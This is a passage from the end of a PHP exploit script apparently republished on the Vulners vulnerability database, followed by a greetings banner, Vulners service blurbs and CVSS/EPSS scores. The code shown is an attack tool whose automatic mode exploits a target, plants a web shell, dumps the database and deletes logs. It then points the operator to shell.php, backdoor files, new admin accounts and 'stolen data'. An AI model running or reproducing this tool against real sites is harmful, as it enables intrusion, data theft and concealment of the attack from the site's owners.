            $command = $argv[3];
            $exploiter->execute_command($cli_url, $command);
            break;
            
        case '--auto':
        default:
            $exploiter->full_exploit($cli_url);
            sleep(2);
            $exploiter->create_webshell($cli_url);
            sleep(1);
            $exploiter->dump_database($cli_url);
            sleep(1);
            $exploiter->delete_logs($cli_url);
            break;
    }
    
    // Save report
    echo "\n[3/3] Reporting phase...\n";
    $exploiter->save_report();
    
    echo "\n========================================\n";
    echo "    Operation completed\n";
    echo "    Check results.txt and exploit_report.txt\n";
    echo "========================================\n";
    
    // Next steps
    echo "\n🔧 Next Steps:\n";
    echo "1. Access web shell: " . $target . "/uploads/shell.php\n";
    echo "2. Check for new admin users\n";
    echo "3. Use backdoor files\n";
    echo "4. Review stolen data\n";
    
    // Check if we created shells
    echo "\n📁 Created files (check these):\n";
    echo "- " . $target . "/shell_*.php\n";
    echo "- " . $target . "/uploads/shell.php\n";
    echo "- /tmp/cmd_*.php\n";
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Mar 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.2
CVSS 45.1
CVSS 25.8
CVSS 34.7
EPSS0.57917
SSVC
102